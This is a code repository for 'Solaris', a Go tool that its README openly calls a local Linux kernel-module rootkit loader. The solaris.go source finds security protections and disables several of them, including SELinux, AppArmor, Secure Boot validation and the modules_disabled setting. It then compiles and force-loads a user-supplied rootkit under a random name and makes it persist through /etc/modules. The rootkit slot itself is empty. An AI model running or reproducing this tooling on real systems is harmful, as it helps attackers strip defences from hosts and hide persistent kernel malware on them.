├── solaris.png ├── usage.png ├── README.md ├── LICENSE └── solaris.go /solaris.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/redcode-labs/Solaris/HEAD/solaris.png -------------------------------------------------------------------------------- /usage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/redcode-labs/Solaris/HEAD/usage.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 |

3 | 4 | 5 | 6 |

7 | 8 |

9 | A local LKM rootkit loader 10 |

11 | 12 | 13 | ![Language](https://img.shields.io/badge/Language-Go-blue.svg?longCache=true&style=flat-square) ![License](https://img.shields.io/badge/License-MIT-purple.svg?longCache=true&style=flat-square) 14 | 15 | 16 | ## Introduction 17 | This loader can list both user and kernel mode protections that are present on the system, and additionally disable some of them. 18 | 19 | It locally drops and compiles source code of any Linux kernel-mode rootkit specified by the user. 20 | 21 | ## Usage 22 | 23 |

24 | 25 | 26 | 27 |

28 | 29 | Place the code of your selected rootkit inside `rootkit_template` variable within `solaris.go`. 30 | 31 | Compile the Golang binary and launch it on the target system. 32 | 33 | ## License 34 | 35 | This software is under [MIT License](https://en.wikipedia.org/wiki/MIT_License) -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 redcodelabs.io 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /solaris.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/akamensky/argparse" 5 | "github.com/fatih/color" 6 | 7 | //"github.com/olekukonko/tablewriter" 8 | "fmt" 9 | "io" 10 | "io/ioutil" 11 | "math/rand" 12 | "os" 13 | "os/exec" 14 | "reflect" 15 | "strings" 16 | "time" 17 | 18 | "github.com/common-nighthawk/go-figure" 19 | "github.com/taion809/haikunator" 20 | ) 21 | 22 | var red = color.New(color.FgRed).SprintFunc() 23 | var green = color.New(color.FgGreen).SprintFunc() 24 | var cyan = color.New(color.FgBlue).SprintFunc() 25 | var bold = color.New(color.Bold).SprintFunc() 26 | var yellow = color.New(color.FgYellow).SprintFunc() 27 | var magenta = color.New(color.FgMagenta).SprintFunc() 28 | var blue = color.New(color.FgBlue).SprintFunc() 29 | 30 | var makefile_template = ` 31 | obj-m += ROOTKIT_NAME.o 32 | 33 | all: 34 | make -C /lib/modules/KERNEL_VER/build M=$(PWD) modules 35 | 36 | clean: 37 | make -C /lib/modules/KERNEL_VER/build M=$(PWD) clean 38 | rm -rf *.o *.ko *.symvers *.mod.* *.order 39 | ` 40 | 41 | //PLACE YOU ROOTKIT HERE 42 | var rootkit_template = ` 43 | 44 | ` 45 | 46 | var disable_secure_boot = false 47 | var disable_modules_disabled = false 48 | var disable_selinux = false 49 | var disable_apparmor = false 50 | 51 | func f(s string, arg ...interface{}) string { 52 | return fmt.Sprintf(s, arg...) 53 | } 54 | 55 | func p() { 56 | fmt.Println() 57 | } 58 | 59 | func contains(s interface{}, elem interface{}) bool { 60 | arrV := reflect.ValueOf(s) 61 | if arrV.Kind() == reflect.Slice { 62 | for i := 0; i < arrV.Len(); i++ { 63 | if arrV.Index(i).Interface() == elem { 64 | return true 65 | } 66 | } 67 | } 68 | return false 69 | } 70 | 71 | func exit_on_error(message string, err error) { 72 | if err != nil { 73 | fmt.Printf("%s %v", red("["+message+"]"+":"), err.Error()) 74 | cleanup() 75 | os.Exit(0) 76 | } 77 | } 78 | 79 | func print_good(msg string) { 80 | //dt := time.Now() 81 | //t := dt.Format("15:04") 82 | fmt.Printf(" %s :: %s \n", green(bold("[+]")), msg) 83 | p() 84 | } 85 | 86 | func print_info(msg string) { 87 | //dt := time.Now() 88 | //t := dt.Format("15:04") 89 | fmt.Printf(" [*] :: %s\n", msg) 90 | p() 91 | } 92 | 93 | func print_error(msg string) { 94 | //dt := time.Now() 95 | //t := dt.Format("15:04") 96 | fmt.Printf(" %s :: %s \n", red(bold("[x]")), msg) 97 | } 98 | 99 | func print_warning(msg string) { 100 | //dt := time.Now() 101 | //t := dt.Format("15:04") 102 | fmt.Printf(" %s :: %s \n", yellow(bold("[!]")), msg) 103 | } 104 | 105 | func print_banner() { 106 | banner := figure.NewFigure("Solaris", "colossal", true) 107 | color.Set(color.FgYellow) 108 | p() 109 | banner.Print() 110 | fmt.Println("") 111 | color.Unset() 112 | p() 113 | fmt.Println("\tCreated by: redcodelabs.io", red(bold("<*>"))) 114 | } 115 | 116 | func random_int(min int, max int) int { 117 | rand.Seed(time.Now().UnixNano()) 118 | return rand.Intn(max-min) + min 119 | } 120 | 121 | func random_string(n int) string { 122 | rand.Seed(time.Now().UnixNano()) 123 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 124 | b := make([]rune, n) 125 | for i := range b { 126 | b[i] = letters[rand.Intn(len(letters))] 127 | } 128 | return string(b) 129 | } 130 | 131 | func write_to_file(filename string, data string) { 132 | file, err := os.Create(filename) 133 | exit_on_error("FILE CREATION ERROR", err) 134 | defer file.Close() 135 | 136 | _, err = io.WriteString(file, data) 137 | exit_on_error("FILE WRITE ERROR", err) 138 | } 139 | 140 | func append_to_file(file string, content string) { 141 | f, err := os.OpenFile(file, 142 | os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 143 | defer f.Close() 144 | _, err = f.WriteString(content + "\n") 145 | exit_on_error("FILE APPEND ERROR", err) 146 | } 147 | 148 | func read_from_file(file string) string { 149 | fil, err := os.Open(file) 150 | exit_on_error("FILE OPEN ERROR", err) 151 | //defer file.Close() 152 | b, _ := ioutil.ReadAll(fil) 153 | return string(b) 154 | } 155 | 156 | func cmd_out(command string) (string, error) { 157 | cmd := exec.Command("bash", "-c", command) 158 | output, err := cmd.CombinedOutput() 159 | out := string(output) 160 | return out, err 161 | } 162 | 163 | func haikunate() string { 164 | h := haikunator.NewHaikunator() 165 | return h.DelimHaikunate("_") 166 | } 167 | 168 | func is_kernel_sig() string { 169 | out, err := cmd_out("cat /boot/config-$(uname -r)") 170 | if err != nil { 171 | return yellow("UNKNOWN") 172 | } 173 | if strings.Contains(out, "CONFIG_MODULE_SIG=y") { 174 | return red("ENABLED") 175 | } 176 | return green("DISABLED") 177 | } 178 | 179 | func is_kernel_sig_force() string { 180 | out, err := cmd_out("cat /boot/config-$(uname -r)") 181 | if err != nil { 182 | return yellow("UNKNOWN") 183 | } 184 | if strings.Contains(out, "CONFIG_MODULE_SIG_FORCE=y") { 185 | return red("ENABLED") 186 | } 187 | return green("DISABLED") 188 | } 189 | 190 | func is_kallsyms() string { 191 | out, err := cmd_out("cat /boot/config-$(uname -r)") 192 | if err != nil { 193 | return yellow("UNKNOWN") 194 | } 195 | if strings.Contains(out, "CONFIG_KALLSYMS=y") { 196 | return green("ENABLED") 197 | } 198 | return red("DISABLED") 199 | } 200 | 201 | func is_kallsyms_all() string { 202 | out, err := cmd_out("cat /boot/config-$(uname -r)") 203 | if err != nil { 204 | return yellow("UNKNOWN") 205 | } 206 | if strings.Contains(out, "CONFIG_KALLSYMS_ALL=y") { 207 | return green("ENABLED") 208 | } 209 | return red("DISABLED") 210 | } 211 | 212 | func is_secure_boot() string { 213 | out, err := cmd_out("mokutil --sb-state") 214 | if err != nil { 215 | disable_secure_boot = true 216 | return yellow("UNKNOWN") 217 | } 218 | if strings.Contains(out, "enabled") { 219 | disable_secure_boot = true 220 | return red("ENABLED") 221 | } 222 | return green("DISABLED") 223 | } 224 | 225 | func is_apparmor() string { 226 | out, err := cmd_out("aa-enabled") 227 | if err != nil { 228 | disable_apparmor = true 229 | return yellow("UNKNOWN") 230 | } 231 | if strings.Contains(out, "Yes") { 232 | disable_apparmor = true 233 | return red("ENABLED") 234 | } 235 | return green("DISABLED") 236 | } 237 | 238 | func is_selinux() string { 239 | out, err := cmd_out("sestatus") 240 | if err != nil { 241 | return green("DISABLED") 242 | } 243 | if strings.Contains(out, "enabled") { 244 | disable_selinux = true 245 | return red("ENABLED") 246 | } 247 | return green("DISABLED") 248 | } 249 | 250 | func is_mod_disabled() string { 251 | out, err := cmd_out("cat /proc/sys/kernel/modules_disabled") 252 | if err != nil { 253 | disable_modules_disabled = true 254 | return yellow("UNKNOWN") 255 | } 256 | if strings.Contains(out, "1") { 257 | disable_modules_disabled = true 258 | return red("ENABLED") 259 | } 260 | return green("DISABLED") 261 | } 262 | 263 | func install_headers(kernel_ver string) { 264 | pm := "apt-get install" 265 | if !strings.Contains("which pacman", "not") { 266 | pm = "pacman -S" 267 | } 268 | _, err := cmd_out(f("%s linux-headers-%s", pm, kernel_ver)) 269 | if err != nil { 270 | print_error(red("Cannot install kernel headers")) 271 | } else { 272 | print_good(green("Installed kernel headers")) 273 | } 274 | } 275 | 276 | func cleanup() { 277 | cmd_out("rm *.ko; rm *.obj; rm Makefile; rm *.o; rm *.c") 278 | } 279 | 280 | func privcheck() { 281 | out, _ := cmd_out("id") 282 | if strings.Contains(out, "gid=0") { 283 | print_good(green("Root privileges are present")) 284 | } else if strings.Contains(out, "root") { 285 | print_warning(yellow("User is not root, but is a member of admin group")) 286 | } else { 287 | print_error(red("No root privileges detected. Rootkit insertion might be impossible")) 288 | } 289 | p() 290 | p() 291 | } 292 | 293 | func enum_sec() { 294 | fmt.Println(bold("| SECURITY MEASURES ")) 295 | fmt.Println("| -> SIG :: " + is_kernel_sig()) 296 | fmt.Println("| -> SIG_FORCE :: " + is_kernel_sig_force()) 297 | fmt.Println("| -> SECURE_BOOT :: " + is_secure_boot()) 298 | fmt.Println("| -> APPARMOR :: " + is_apparmor()) 299 | fmt.Println("| -> SELINUX :: " + is_selinux()) 300 | fmt.Println("| -> MOD_DISABLE :: " + is_mod_disabled()) 301 | fmt.Println("| -> KSYMS :: " + is_kallsyms()) 302 | fmt.Println("| -> KSYMS_ALL :: " + is_kallsyms_all()) 303 | p() 304 | } 305 | 306 | func disable_sec() { 307 | if disable_secure_boot { 308 | _, err := cmd_out("sudo mokutil --disable-validation") 309 | if err != nil { 310 | print_error("Cannot disable secure boot: " + red(err.Error())) 311 | } else { 312 | print_good(green("Disabled secure boot")) 313 | } 314 | } 315 | if disable_modules_disabled { 316 | _, err := cmd_out("echo 0 > /proc/sys/kernel/modules_disabled") 317 | if err != nil { 318 | print_error("Cannot disable LKM insertion protection: " + red(err.Error())) 319 | } else { 320 | print_good(green("Disabled LKM insertion protection")) 321 | } 322 | } 323 | if disable_selinux { 324 | _, err := cmd_out("setenforce 0") 325 | if err != nil { 326 | print_error("Cannot disable SELinux: " + red(err.Error())) 327 | } else { 328 | print_good(green("Disabled SELinux")) 329 | } 330 | } 331 | if disable_apparmor { 332 | _, err := cmd_out("sudo systemctl disable apparmor") 333 | if err != nil { 334 | print_error("Cannot disable AppArmor: " + red(err.Error())) 335 | } else { 336 | print_good(green("Disabled AppArmor")) 337 | } 338 | } 339 | p() 340 | } 341 | 342 | func show_help() { 343 | msg := fmt.Sprintf(` 344 | USAGE: 345 | solaris 346 | 347 | DROPPER OPTIONS: 348 | -k, --kernel Target kernel version (default: %s) 349 | -r, --random Use random string to name dropped rootkit 350 | -e, --enum Only enumerate active security measures and exit 351 | -l, --load Load the rootkit after compilation 352 | --insmod Use 'insmod' command to load a module (default: %s) 353 | -i, --install Install all missing kernel headers 354 | -c, --cleanup Clean all dropped files 355 | -p, --persist Make the rootkit persistent 356 | 357 | `, green("local"), green("modprobe")) 358 | fmt.Println(msg) 359 | } 360 | 361 | func main() { 362 | print_banner() 363 | p() 364 | parser := argparse.NewParser("solaris", "") //, usage_prologue) 365 | var load *bool = parser.Flag("l", "load", &argparse.Options{Help: "Load the rootkit after compilation"}) 366 | var force *bool = parser.Flag("f", "force", &argparse.Options{Help: "When loading the rootkit, use force method"}) 367 | var random *bool = parser.Flag("r", "random", &argparse.Options{Help: "Use random string to name dropped rootkit "}) 368 | //var out *string = parser.String("", "out", &argparse.Options{Help: "Target kernel version", Default: "haiku"}) 369 | var disable *bool = parser.Flag("d", "disable", &argparse.Options{Help: "Attempt to disable detected security measures"}) 370 | //var disable *bool = parser.Flag("", "table", &argparse.Options{Help: "Attempt to disable detected security measures"}) 371 | var install *bool = parser.Flag("i", "install", &argparse.Options{Help: "Install kernel headers required for compilation"}) 372 | //var install *bool = parser.Flag("", "debug", &argparse.Options{Help: "Install kernel headers required for compilation"}) 373 | var enum_only *bool = parser.Flag("e", "enum", &argparse.Options{Help: "Install kernel headers required for compilation"}) 374 | var clean *bool = parser.Flag("c", "cleanup", &argparse.Options{Help: "Install kernel headers required for compilation"}) 375 | //var commands_only *bool = parser.Flag("", "commands", &argparse.Options{Help: "Install kernel headers required for compilation"}) 376 | //var panicc *bool = parser.Flag("", "panic", &argparse.Options{Help: "The rootkit causes kernel panic when unloaded"}) 377 | var persist *bool = parser.Flag("p", "persist", &argparse.Options{Help: "Make the rootkit persistent"}) 378 | var insmod *bool = parser.Flag("", "insmod", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"}) 379 | var kernel *string = parser.String("", "kernel", &argparse.Options{Help: "Target kernel version", Default: "local"}) 380 | //var lhost *string = parser.String("", "lhost", &argparse.Options{Help: "Target kernel version", Default: local_ip}) 381 | //var lport *string = parser.String("", "lport", &argparse.Options{Help: "Target kernel version", Default: "4444"}) 382 | //var cmd *string = parser.String("", "cmd", &argparse.Options{Help: "Target kernel version", Default: "none"}) 383 | //var global *bool = parser.Flag("", "global", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"}) 384 | //var no_unload *bool = parser.Flag("", "no-unload", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"}) 385 | //var no_unload *bool = parser.Flag("", "static-inline", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"}) 386 | //var no_unload *bool = parser.Flag("", "verbose", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"}) 387 | commandline_args := os.Args 388 | if contains(commandline_args, "-h") || 389 | contains(commandline_args, "--help") || 390 | len(commandline_args) == 1 { 391 | show_help() 392 | os.Exit(0) 393 | } 394 | err := parser.Parse(commandline_args) 395 | if err != nil { 396 | show_help() 397 | os.Exit(0) 398 | } 399 | kernel_ver, _ := cmd_out("uname -r") 400 | pref := "Detected" 401 | rootkit_name := haikunate() 402 | //fmt.Println(makefile_template) 403 | if *install { 404 | install_headers(*kernel) 405 | } 406 | if *random { 407 | rootkit_name = "[" + random_string(random_int(1, 10)) + "]" 408 | } 409 | if *kernel != "local" { 410 | kernel_ver = *kernel 411 | pref = "Target" 412 | } 413 | 414 | // ################# OPTIONS REPLACEMENT 415 | makefile_template = strings.Replace(makefile_template, "KERNEL_VER", kernel_ver, -1) 416 | makefile_template = strings.Replace(makefile_template, "ROOTKIT_NAME", rootkit_name, -1) 417 | // ############################ 418 | 419 | print_info(f("%s kernel version -> %s", pref, cyan(kernel_ver))) 420 | privcheck() 421 | enum_sec() 422 | if *disable { 423 | disable_sec() 424 | } 425 | if *enum_only { 426 | os.Exit(0) 427 | } 428 | write_to_file("Makefile", makefile_template) 429 | write_to_file(rootkit_name+".c", rootkit_template) 430 | o, err := cmd_out("make") 431 | if err != nil { 432 | print_error(red("[!!!] Compilation error: " + err.Error())) 433 | fmt.Println(red(o)) 434 | cleanup() 435 | os.Exit(0) 436 | } else { 437 | print_good(green("Compiled module")) 438 | } 439 | loader_flags := "" 440 | loader_cmd := "modprobe" 441 | if *insmod { 442 | loader_cmd = "insmod" 443 | } 444 | if *force { 445 | loader_flags = "--force --allow-unsupported" 446 | } 447 | if *load { 448 | _, err := cmd_out(f("%s %s %s.ko", loader_cmd, loader_flags, rootkit_name)) 449 | exit_on_error("CANNOT LOAD MODULE", err) 450 | if err != nil { 451 | cleanup() 452 | } 453 | } 454 | if *persist { 455 | success := true 456 | folder_name := haikunate() 457 | _, err = cmd_out("mkdir /lib/modules/$(uname -r)/" + folder_name) 458 | if err != nil { 459 | print_error("Cannot create directory for module persistence: " + err.Error()) 460 | success = false 461 | } 462 | _, err := cmd_out(f("cp %s /lib/modules/$(uname -r)/%s/", rootkit_name+".ko", folder_name)) 463 | if err != nil { 464 | print_error("Cannot copy module: " + err.Error()) 465 | success = false 466 | } 467 | _, err = cmd_out(f(`echo %s >> /etc/modules`, rootkit_name)) 468 | if err != nil { 469 | print_error("Cannot add module to /etc/modules: " + err.Error()) 470 | success = false 471 | } 472 | if success { 473 | print_good("Successfully obtained persistence") 474 | } 475 | } 476 | if *clean{ 477 | cleanup() 478 | } 479 | } 480 | --------------------------------------------------------------------------------